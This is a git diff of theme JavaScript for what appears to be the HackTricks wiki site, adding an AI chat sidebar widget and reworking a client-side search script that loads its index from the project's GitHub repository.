+        e.preventDefault();
+        handleSend();
+      }
+    });
+  }
+
+  /* ==================================================================== */
+  async function ensureThreadId() {
+    const m = document.cookie.match(/threadId=([^;]+)/);
+    if (m && m[1]) {
+      threadId = m[1];
+      return;
+    }
+    try {
+      const r = await fetch(API_BASE, { method: "POST", credentials: "include" });
+      const d = await r.json();
+      if (!r.ok || !d.threadId) throw new Error(`${r.status} ${r.statusText}`);
+      threadId       = d.threadId;
+      document.cookie =
+        `threadId=${threadId}; Path=/; Secure; SameSite=Strict; Max-Age=7200`;
+    } catch (e) {
+      console.error("Error creating threadId:", e);
+      alert("Failed to initialise the conversation. Please refresh and try again.");
+      throw e;
+    }
+  }
+
+  /* ==================================================================== */
+  function injectStyles() {
+    const css = `
+        #ht-ai-btn{position:fixed;bottom:20px;left:50%;transform:translateX(-50%);width:60px;height:60px;border-radius:50%;background:#1e1e1e;color:#fff;font-size:28px;display:flex;align-items:center;justify-content:center;cursor:pointer;z-index:99999;box-shadow:0 2px 8px rgba(0,0,0,.4);transition:opacity .2s}
+        #ht-ai-btn:hover{opacity:.85}
+        @media(max-width:768px){#ht-ai-btn{display:none}}
+        #ht-ai-tooltip{position:fixed;padding:6px 8px;background:#111;color:#fff;border-radius:4px;font-size:13px;white-space:pre-wrap;pointer-events:none;opacity:0;transform:translate(-50%,-8px);transition:opacity .15s ease,transform .15s ease;z-index:100000}
+        #ht-ai-tooltip.show{opacity:1;transform:translate(-50%,-12px)}
+        #ht-ai-panel{position:fixed;top:0;right:0;height:100%;width:350px;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
+        #ht-ai-panel.open{transform:translateX(0)}
+        @media(max-width:768px){#ht-ai-panel{display:none}}
+        #ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333}
+        #ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center}
+        #ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
+        #ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
+        #ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
+        .ht-msg{max-width:90%;line-height:1.4;padding:10px 12px;border-radius:8px;white-space:pre-wrap;word-wrap:break-word}
+        .ht-user{align-self:flex-end;background:${BRAND_RED}}
+        .ht-ai{align-self:flex-start;background:#222}
+        .ht-context{align-self:flex-start;background:#444;font-style:italic;font-size:13px}
+        #ht-ai-input{display:flex;gap:8px;padding:12px 16px;border-top:1px solid #333}
+        #ht-ai-question{flex:1;min-height:40px;max-height:120px;resize:vertical;padding:8px;border-radius:6px;border:none;font-size:14px}
+        #ht-ai-send{padding:0 18px;border:none;border-radius:6px;background:${BRAND_RED};color:#fff;font-size:14px;cursor:pointer}
+        #ht-ai-send:disabled{opacity:.5;cursor:not-allowed}
+        /* Loader animation */
+        .ht-loading{display:inline-flex;align-items:center;gap:4px}
+        .ht-loading span{width:6px;height:6px;border-radius:50%;background:#888;animation:ht-bounce 1.2s infinite ease-in-out}
+        .ht-loading span:nth-child(2){animation-delay:0.2s}
+        .ht-loading span:nth-child(3){animation-delay:0.4s}
+        @keyframes ht-bounce{0%,80%,100%{transform:scale(0);}40%{transform:scale(1);} }
+        ::selection{background:#ffeb3b;color:#000}
+        ::-moz-selection{background:#ffeb3b;color:#000}`;
+    const s = document.createElement("style");
+    s.id = "ht-ai-style";
+    s.textContent = css;
+    document.head.appendChild(s);
+  }
+
+  function createFloatingButton() {
+    const d = document.createElement("div");
+    d.id = "ht-ai-btn";
+    d.textContent = "🤖";
+    document.body.appendChild(d);
+    return d;
+  }
+
+  function createTooltip(btn) {
+    const t = document.createElement("div");
+    t.id = "ht-ai-tooltip";
+    t.textContent = TOOLTIP_TEXT;
+    document.body.appendChild(t);
+    btn.addEventListener("mouseenter", () => {
+      const r = btn.getBoundingClientRect();
+      t.style.left = `${r.left + r.width / 2}px`;
+      t.style.top  = `${r.top}px`;
+      t.classList.add("show");
+    });
+    btn.addEventListener("mouseleave", () => t.classList.remove("show"));
+  }
+
+  function createSidebar() {
+    const p = document.createElement("div");
+    p.id = "ht-ai-panel";
+    p.innerHTML = `
+      
HackTricks AI Chat +
+ + +
+
+
+
+ + +
`; + document.body.appendChild(p); + return p; + } +})(); diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js index f2b4de026..f3dc65c1f 100644 --- a/theme/ht_searcher.js +++ b/theme/ht_searcher.js @@ -1,524 +1,554 @@ -"use strict"; -window.search = window.search || {}; -(function search(search) { - // Search functionality - // - // You can use !hasFocus() to prevent keyhandling in your key - // event handlers while the user is typing their search. - - if (!Mark || !elasticlunr) { - return; - } - - //IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith - if (!String.prototype.startsWith) { - String.prototype.startsWith = function(search, pos) { - return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search; - }; - } - - var search_wrap = document.getElementById('search-wrapper'), - search_modal = document.getElementById('search-modal'), - searchbar = document.getElementById('searchbar'), - searchbar_outer = document.getElementById('searchbar-outer'), - searchresults = document.getElementById('searchresults'), - searchresults_outer = document.getElementById('searchresults-outer'), - searchresults_header = document.getElementById('searchresults-header'), - searchicon = document.getElementById('search-toggle'), - content = document.getElementById('content'), - - searchindex = null, - doc_urls = [], - results_options = { - teaser_word_count: 30, - limit_results: 30, - }, - search_options = { - bool: "AND", - expand: true, - fields: { - title: {boost: 1}, - body: {boost: 1}, - breadcrumbs: {boost: 0} +/* ──────────────────────────────────────────────────────────────── + Polyfill so requestIdleCallback works everywhere (IE 11/Safari) + ─────────────────────────────────────────────────────────────── */ + if (typeof window.requestIdleCallback !== "function") { + window.requestIdleCallback = function (cb) { + const start = Date.now(); + return setTimeout(function () { + cb({ + didTimeout: false, + timeRemaining: function () { + return Math.max(0, 50 - (Date.now() - start)); } - }, - mark_exclude = [], - marker = new Mark(content), - current_searchterm = "", - URL_SEARCH_PARAM = 'search', - URL_MARK_PARAM = 'highlight', - teaser_count = 0, - - SEARCH_HOTKEY_KEYCODE = 83, - ESCAPE_KEYCODE = 27, - DOWN_KEYCODE = 40, - UP_KEYCODE = 38, - SELECT_KEYCODE = 13; - - function hasFocus() { - return searchbar === document.activeElement; - } - - function removeChildren(elem) { - while (elem.firstChild) { - elem.removeChild(elem.firstChild); - } - } - - // Helper to parse a url into its building blocks. - function parseURL(url) { - var a = document.createElement('a'); - a.href = url; - return { - source: url, - protocol: a.protocol.replace(':',''), - host: a.hostname, - port: a.port, - params: (function(){ - var ret = {}; - var seg = a.search.replace(/^\?/,'').split('&'); - var len = seg.length, i = 0, s; - for (;i': '>', - '"': '"', - "'": ''' - }; - var repl = function(c) { return MAP[c]; }; - return function(s) { - return s.replace(/[&<>'"]/g, repl); - }; - })(); - - function formatSearchMetric(count, searchterm) { - if (count == 1) { - return count + " search result for '" + searchterm + "':"; - } else if (count == 0) { - return "No search results for '" + searchterm + "'."; - } else { - return count + " search results for '" + searchterm + "':"; - } - } - - function formatSearchResult(result, searchterms) { - var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms); - teaser_count++; - - // The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor - var url = doc_urls[result.ref].split("#"); - if (url.length == 1) { // no anchor found - url.push(""); - } - - // encodeURIComponent escapes all chars that could allow an XSS except - // for '. Due to that we also manually replace ' with its url-encoded - // representation (%27). - var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27"); - - return '' + result.doc.breadcrumbs - + '' - + teaser + '' + ''; - } - - function makeTeaser(body, searchterms) { - // The strategy is as follows: - // First, assign a value to each word in the document: - // Words that correspond to search terms (stemmer aware): 40 - // Normal words: 2 - // First word in a sentence: 8 - // Then use a sliding window with a constant number of words and count the - // sum of the values of the words within the window. Then use the window that got the - // maximum sum. If there are multiple maximas, then get the last one. - // Enclose the terms in . - var stemmed_searchterms = searchterms.map(function(w) { - return elasticlunr.stemmer(w.toLowerCase()); }); - var searchterm_weight = 40; - var weighted = []; // contains elements of ["word", weight, index_in_document] - // split in sentences, then words - var sentences = body.toLowerCase().split('. '); - var index = 0; - var value = 0; - var searchterm_found = false; - for (var sentenceindex in sentences) { - var words = sentences[sentenceindex].split(' '); - value = 8; - for (var wordindex in words) { - var word = words[wordindex]; - if (word.length > 0) { - for (var searchtermindex in stemmed_searchterms) { - if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) { - value = searchterm_weight; - searchterm_found = true; - } - }; - weighted.push([word, value, index]); - value = 2; - } - index += word.length; - index += 1; // ' ' or '.' if last word in sentence - }; - index += 1; // because we split at a two-char boundary '. ' - }; - - if (weighted.length == 0) { - return body; - } - - var window_weight = []; - var window_size = Math.min(weighted.length, results_options.teaser_word_count); - - var cur_sum = 0; - for (var wordindex = 0; wordindex < window_size; wordindex++) { - cur_sum += weighted[wordindex][1]; - }; - window_weight.push(cur_sum); - for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) { - cur_sum -= weighted[wordindex][1]; - cur_sum += weighted[wordindex + window_size][1]; - window_weight.push(cur_sum); - }; - - if (searchterm_found) { - var max_sum = 0; - var max_sum_window_index = 0; - // backwards - for (var i = window_weight.length - 1; i >= 0; i--) { - if (window_weight[i] > max_sum) { - max_sum = window_weight[i]; - max_sum_window_index = i; - } - }; - } else { - max_sum_window_index = 0; - } - - // add around searchterms - var teaser_split = []; - var index = weighted[max_sum_window_index][2]; - for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) { - var word = weighted[i]; - if (index < word[2]) { - // missing text from index to start of `word` - teaser_split.push(body.substring(index, word[2])); - index = word[2]; - } - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - index = word[2] + word[0].length; - teaser_split.push(body.substring(word[2], index)); - if (word[1] == searchterm_weight) { - teaser_split.push("") - } - }; - - return teaser_split.join(''); - } - - function init(config) { - results_options = config.results_options; - search_options = config.search_options; - searchbar_outer = config.searchbar_outer; - doc_urls = config.doc_urls; - searchindex = elasticlunr.Index.load(config.index); - - // Set up events - searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false); - search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false); - searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false); - document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false); - // If the user uses the browser buttons, do the same as if a reload happened - window.onpopstate = function(e) { doSearchOrMarkFromUrl(); }; - // Suppress "submit" events so the page doesn't reload when the user presses Enter - document.addEventListener('submit', function(e) { e.preventDefault(); }, false); - - // If reloaded, do the search or mark again, depending on the current url parameters - doSearchOrMarkFromUrl(); + }, 1); + }; + window.cancelIdleCallback = window.clearTimeout; } - function unfocusSearchbar() { - // hacky, but just focusing a div only works once - var tmp = document.createElement('input'); - tmp.setAttribute('style', 'position: absolute; opacity: 0;'); - searchicon.appendChild(tmp); - tmp.focus(); - tmp.remove(); - } + + /* ──────────────────────────────────────────────────────────────── + search.js + ─────────────────────────────────────────────────────────────── */ - // On reload or browser history backwards/forwards events, parse the url and do search or mark - function doSearchOrMarkFromUrl() { - // Check current URL for search request - var url = parseURL(window.location.href); - if (url.params.hasOwnProperty(URL_SEARCH_PARAM) - && url.params[URL_SEARCH_PARAM] != "") { - showSearch(true); - searchbar.value = decodeURIComponent( - (url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20')); - searchbarKeyUpHandler(); // -> doSearch() - } else { - showSearch(false); + "use strict"; + window.search = window.search || {}; + (function search(search) { + // Search functionality + // + // You can use !hasFocus() to prevent keyhandling in your key + // event handlers while the user is typing their search. + + if (!Mark || !elasticlunr) { + return; } - - if (url.params.hasOwnProperty(URL_MARK_PARAM)) { - var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' '); - marker.mark(words, { - exclude: mark_exclude + + //IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith + if (!String.prototype.startsWith) { + String.prototype.startsWith = function(search, pos) { + return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search; + }; + } + + var search_wrap = document.getElementById('search-wrapper'), + search_modal = document.getElementById('search-modal'), + searchbar = document.getElementById('searchbar'), + searchbar_outer = document.getElementById('searchbar-outer'), + searchresults = document.getElementById('searchresults'), + searchresults_outer = document.getElementById('searchresults-outer'), + searchresults_header = document.getElementById('searchresults-header'), + searchicon = document.getElementById('search-toggle'), + content = document.getElementById('content'), + + searchindex = null, + doc_urls = [], + results_options = { + teaser_word_count: 30, + limit_results: 30, + }, + search_options = { + bool: "AND", + expand: true, + fields: { + title: {boost: 1}, + body: {boost: 1}, + breadcrumbs: {boost: 0} + } + }, + mark_exclude = [], + marker = new Mark(content), + current_searchterm = "", + URL_SEARCH_PARAM = 'search', + URL_MARK_PARAM = 'highlight', + teaser_count = 0, + + SEARCH_HOTKEY_KEYCODE = 83, + ESCAPE_KEYCODE = 27, + DOWN_KEYCODE = 40, + UP_KEYCODE = 38, + SELECT_KEYCODE = 13; + + function hasFocus() { + return searchbar === document.activeElement; + } + + function removeChildren(elem) { + while (elem.firstChild) { + elem.removeChild(elem.firstChild); + } + } + + // Helper to parse a url into its building blocks. + function parseURL(url) { + var a = document.createElement('a'); + a.href = url; + return { + source: url, + protocol: a.protocol.replace(':',''), + host: a.hostname, + port: a.port, + params: (function(){ + var ret = {}; + var seg = a.search.replace(/^\?/,'').split('&'); + var len = seg.length, i = 0, s; + for (;i': '>', + '"': '"', + "'": ''' + }; + var repl = function(c) { return MAP[c]; }; + return function(s) { + return s.replace(/[&<>'"]/g, repl); + }; + })(); + + function formatSearchMetric(count, searchterm) { + if (count == 1) { + return count + " search result for '" + searchterm + "':"; + } else if (count == 0) { + return "No search results for '" + searchterm + "'."; + } else { + return count + " search results for '" + searchterm + "':"; + } + } + + function formatSearchResult(result, searchterms) { + var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms); + teaser_count++; + + // The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor + var url = doc_urls[result.ref].split("#"); + if (url.length == 1) { // no anchor found + url.push(""); + } + + // encodeURIComponent escapes all chars that could allow an XSS except + // for '. Due to that we also manually replace ' with its url-encoded + // representation (%27). + var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27"); + + return '' + result.doc.breadcrumbs + + '' + + teaser + '' + ''; + } + + function makeTeaser(body, searchterms) { + // The strategy is as follows: + // First, assign a value to each word in the document: + // Words that correspond to search terms (stemmer aware): 40 + // Normal words: 2 + // First word in a sentence: 8 + // Then use a sliding window with a constant number of words and count the + // sum of the values of the words within the window. Then use the window that got the + // maximum sum. If there are multiple maximas, then get the last one. + // Enclose the terms in . + var stemmed_searchterms = searchterms.map(function(w) { + return elasticlunr.stemmer(w.toLowerCase()); }); - - var markers = document.querySelectorAll("mark"); - function hide() { + var searchterm_weight = 40; + var weighted = []; // contains elements of ["word", weight, index_in_document] + // split in sentences, then words + var sentences = body.toLowerCase().split('. '); + var index = 0; + var value = 0; + var searchterm_found = false; + for (var sentenceindex in sentences) { + var words = sentences[sentenceindex].split(' '); + value = 8; + for (var wordindex in words) { + var word = words[wordindex]; + if (word.length > 0) { + for (var searchtermindex in stemmed_searchterms) { + if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) { + value = searchterm_weight; + searchterm_found = true; + } + }; + weighted.push([word, value, index]); + value = 2; + } + index += word.length; + index += 1; // ' ' or '.' if last word in sentence + }; + index += 1; // because we split at a two-char boundary '. ' + }; + + if (weighted.length == 0) { + return body; + } + + var window_weight = []; + var window_size = Math.min(weighted.length, results_options.teaser_word_count); + + var cur_sum = 0; + for (var wordindex = 0; wordindex < window_size; wordindex++) { + cur_sum += weighted[wordindex][1]; + }; + window_weight.push(cur_sum); + for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) { + cur_sum -= weighted[wordindex][1]; + cur_sum += weighted[wordindex + window_size][1]; + window_weight.push(cur_sum); + }; + + if (searchterm_found) { + var max_sum = 0; + var max_sum_window_index = 0; + // backwards + for (var i = window_weight.length - 1; i >= 0; i--) { + if (window_weight[i] > max_sum) { + max_sum = window_weight[i]; + max_sum_window_index = i; + } + }; + } else { + max_sum_window_index = 0; + } + + // add around searchterms + var teaser_split = []; + var index = weighted[max_sum_window_index][2]; + for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) { + var word = weighted[i]; + if (index < word[2]) { + // missing text from index to start of `word` + teaser_split.push(body.substring(index, word[2])); + index = word[2]; + } + if (word[1] == searchterm_weight) { + teaser_split.push("") + } + index = word[2] + word[0].length; + teaser_split.push(body.substring(word[2], index)); + if (word[1] == searchterm_weight) { + teaser_split.push("") + } + }; + + return teaser_split.join(''); + } + + function init(config) { + results_options = config.results_options; + search_options = config.search_options; + searchbar_outer = config.searchbar_outer; + doc_urls = config.doc_urls; + searchindex = elasticlunr.Index.load(config.index); + + // Set up events + searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false); + search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false); + search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false); + searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false); + document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false); + // If the user uses the browser buttons, do the same as if a reload happened + window.onpopstate = function(e) { doSearchOrMarkFromUrl(); }; + // Suppress "submit" events so the page doesn't reload when the user presses Enter + document.addEventListener('submit', function(e) { e.preventDefault(); }, false); + + // If reloaded, do the search or mark again, depending on the current url parameters + doSearchOrMarkFromUrl(); + } + + function unfocusSearchbar() { + // hacky, but just focusing a div only works once + var tmp = document.createElement('input'); + tmp.setAttribute('style', 'position: absolute; opacity: 0;'); + searchicon.appendChild(tmp); + tmp.focus(); + tmp.remove(); + } + + // On reload or browser history backwards/forwards events, parse the url and do search or mark + function doSearchOrMarkFromUrl() { + // Check current URL for search request + var url = parseURL(window.location.href); + if (url.params.hasOwnProperty(URL_SEARCH_PARAM) + && url.params[URL_SEARCH_PARAM] != "") { + showSearch(true); + searchbar.value = decodeURIComponent( + (url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20')); + searchbarKeyUpHandler(); // -> doSearch() + } else { + showSearch(false); + } + + if (url.params.hasOwnProperty(URL_MARK_PARAM)) { + var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' '); + marker.mark(words, { + exclude: mark_exclude + }); + + var markers = document.querySelectorAll("mark"); + function hide() { + for (var i = 0; i < markers.length; i++) { + markers[i].classList.add("fade-out"); + window.setTimeout(function(e) { marker.unmark(); }, 300); + } + } for (var i = 0; i < markers.length; i++) { - markers[i].classList.add("fade-out"); - window.setTimeout(function(e) { marker.unmark(); }, 300); + markers[i].addEventListener('click', hide); } } - for (var i = 0; i < markers.length; i++) { - markers[i].addEventListener('click', hide); - } } - } + + // Eventhandler for keyevents on `document` + function globalKeyHandler(e) { + if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; } - // Eventhandler for keyevents on `document` - function globalKeyHandler(e) { - if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; } - - if (e.keyCode === ESCAPE_KEYCODE) { - e.preventDefault(); - searchbar.classList.remove("active"); - setSearchUrlParameters("", - (searchbar.value.trim() !== "") ? "push" : "replace"); - if (hasFocus()) { + if (e.keyCode === ESCAPE_KEYCODE) { + e.preventDefault(); + searchbar.classList.remove("active"); + setSearchUrlParameters("", + (searchbar.value.trim() !== "") ? "push" : "replace"); + if (hasFocus()) { + unfocusSearchbar(); + } + showSearch(false); + marker.unmark(); + } else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) { + e.preventDefault(); + showSearch(true); + window.scrollTo(0, 0); + searchbar.select(); + } else if (hasFocus() && e.keyCode === DOWN_KEYCODE) { + e.preventDefault(); unfocusSearchbar(); - } - showSearch(false); - marker.unmark(); - } else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) { - e.preventDefault(); - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else if (hasFocus() && e.keyCode === DOWN_KEYCODE) { - e.preventDefault(); - unfocusSearchbar(); - searchresults.firstElementChild.classList.add("focus"); - } else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE - || e.keyCode === UP_KEYCODE - || e.keyCode === SELECT_KEYCODE)) { - // not `:focus` because browser does annoying scrolling - var focused = searchresults.querySelector("li.focus"); - if (!focused) return; - e.preventDefault(); - if (e.keyCode === DOWN_KEYCODE) { - var next = focused.nextElementSibling; - if (next) { + searchresults.firstElementChild.classList.add("focus"); + } else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE + || e.keyCode === UP_KEYCODE + || e.keyCode === SELECT_KEYCODE)) { + // not `:focus` because browser does annoying scrolling + var focused = searchresults.querySelector("li.focus"); + if (!focused) return; + e.preventDefault(); + if (e.keyCode === DOWN_KEYCODE) { + var next = focused.nextElementSibling; + if (next) { + focused.classList.remove("focus"); + next.classList.add("focus"); + } + } else if (e.keyCode === UP_KEYCODE) { focused.classList.remove("focus"); - next.classList.add("focus"); + var prev = focused.previousElementSibling; + if (prev) { + prev.classList.add("focus"); + } else { + searchbar.select(); + } + } else { // SELECT_KEYCODE + window.location.assign(focused.querySelector('a')); } - } else if (e.keyCode === UP_KEYCODE) { - focused.classList.remove("focus"); - var prev = focused.previousElementSibling; - if (prev) { - prev.classList.add("focus"); - } else { - searchbar.select(); - } - } else { // SELECT_KEYCODE - window.location.assign(focused.querySelector('a')); } } - } - - function showSearch(yes) { - if (yes) { - search_wrap.classList.remove('hidden'); - searchicon.setAttribute('aria-expanded', 'true'); - } else { - search_wrap.classList.add('hidden'); - searchicon.setAttribute('aria-expanded', 'false'); - var results = searchresults.children; - for (var i = 0; i < results.length; i++) { - results[i].classList.remove("focus"); + + function showSearch(yes) { + if (yes) { + search_wrap.classList.remove('hidden'); + searchicon.setAttribute('aria-expanded', 'true'); + } else { + search_wrap.classList.add('hidden'); + searchicon.setAttribute('aria-expanded', 'false'); + var results = searchresults.children; + for (var i = 0; i < results.length; i++) { + results[i].classList.remove("focus"); + } } } - } - - function showResults(yes) { - if (yes) { - searchresults_outer.classList.remove('hidden'); - } else { - searchresults_outer.classList.add('hidden'); - } - } - - // Eventhandler for search icon - function searchIconClickHandler() { - if (search_wrap.classList.contains('hidden')) { - showSearch(true); - window.scrollTo(0, 0); - searchbar.select(); - } else { - showSearch(false); - } - } - // Eventhandler for keyevents while the searchbar is focused - function searchbarKeyUpHandler() { - var searchterm = searchbar.value.trim(); - if (searchterm != "") { - searchbar.classList.add("active"); - doSearch(searchterm); - } else { - searchbar.classList.remove("active"); - showResults(false); + function showResults(yes) { + if (yes) { + searchresults_outer.classList.remove('hidden'); + } else { + searchresults_outer.classList.add('hidden'); + } + } + + // Eventhandler for search icon + function searchIconClickHandler() { + if (search_wrap.classList.contains('hidden')) { + showSearch(true); + window.scrollTo(0, 0); + searchbar.select(); + } else { + showSearch(false); + } + } + + // Eventhandler for keyevents while the searchbar is focused + function searchbarKeyUpHandler() { + var searchterm = searchbar.value.trim(); + if (searchterm != "") { + searchbar.classList.add("active"); + doSearch(searchterm); + } else { + searchbar.classList.remove("active"); + showResults(false); + removeChildren(searchresults); + } + + setSearchUrlParameters(searchterm, "push_if_new_search_else_replace"); + + // Remove marks + marker.unmark(); + } + + // Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor . + // `action` can be one of "push", "replace", "push_if_new_search_else_replace" + // and replaces or pushes a new browser history item. + // "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet. + function setSearchUrlParameters(searchterm, action) { + var url = parseURL(window.location.href); + var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM); + if (searchterm != "" || action == "push_if_new_search_else_replace") { + url.params[URL_SEARCH_PARAM] = searchterm; + delete url.params[URL_MARK_PARAM]; + url.hash = ""; + } else { + delete url.params[URL_MARK_PARAM]; + delete url.params[URL_SEARCH_PARAM]; + } + // A new search will also add a new history item, so the user can go back + // to the page prior to searching. A updated search term will only replace + // the url. + if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) { + history.pushState({}, document.title, renderURL(url)); + } else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) { + history.replaceState({}, document.title, renderURL(url)); + } + } + + function doSearch(searchterm) { + + // Don't search the same twice + if (current_searchterm == searchterm) { return; } + else { current_searchterm = searchterm; } + + if (searchindex == null) { return; } + + // Do the actual search + var results = searchindex.search(searchterm, search_options); + var resultcount = Math.min(results.length, results_options.limit_results); + + // Display search metrics + searchresults_header.innerText = formatSearchMetric(resultcount, searchterm); + + // Clear and insert results + var searchterms = searchterm.split(' '); removeChildren(searchresults); - } - - setSearchUrlParameters(searchterm, "push_if_new_search_else_replace"); - - // Remove marks - marker.unmark(); - } + for(var i = 0; i < resultcount ; i++){ + var resultElem = document.createElement('li'); + resultElem.innerHTML = formatSearchResult(results[i], searchterms); + searchresults.appendChild(resultElem); + } - // Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor . - // `action` can be one of "push", "replace", "push_if_new_search_else_replace" - // and replaces or pushes a new browser history item. - // "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet. - function setSearchUrlParameters(searchterm, action) { - var url = parseURL(window.location.href); - var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM); - if (searchterm != "" || action == "push_if_new_search_else_replace") { - url.params[URL_SEARCH_PARAM] = searchterm; - delete url.params[URL_MARK_PARAM]; - url.hash = ""; - } else { - delete url.params[URL_MARK_PARAM]; - delete url.params[URL_SEARCH_PARAM]; + // Display results + showResults(true); } - // A new search will also add a new history item, so the user can go back - // to the page prior to searching. A updated search term will only replace - // the url. - if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) { - history.pushState({}, document.title, renderURL(url)); - } else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) { - history.replaceState({}, document.title, renderURL(url)); - } - } - function doSearch(searchterm) { - - // Don't search the same twice - if (current_searchterm == searchterm) { return; } - else { current_searchterm = searchterm; } - - if (searchindex == null) { return; } - - // Do the actual search - var results = searchindex.search(searchterm, search_options); - var resultcount = Math.min(results.length, results_options.limit_results); - - // Display search metrics - searchresults_header.innerText = formatSearchMetric(resultcount, searchterm); - - // Clear and insert results - var searchterms = searchterm.split(' '); - removeChildren(searchresults); - for(var i = 0; i < resultcount ; i++){ - var resultElem = document.createElement('li'); - resultElem.innerHTML = formatSearchResult(results[i], searchterms); - searchresults.appendChild(resultElem); - } - - // Display results - showResults(true); - } - - (async function loadSearchIndex(lang = window.lang || "en") { - const branch = lang === "en" ? "master" : lang; - const rawUrl = - `https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/${branch}/searchindex.js`; - const localJs = "/searchindex.js"; - const TIMEOUT_MS = 5_000; - - /* helper: inject a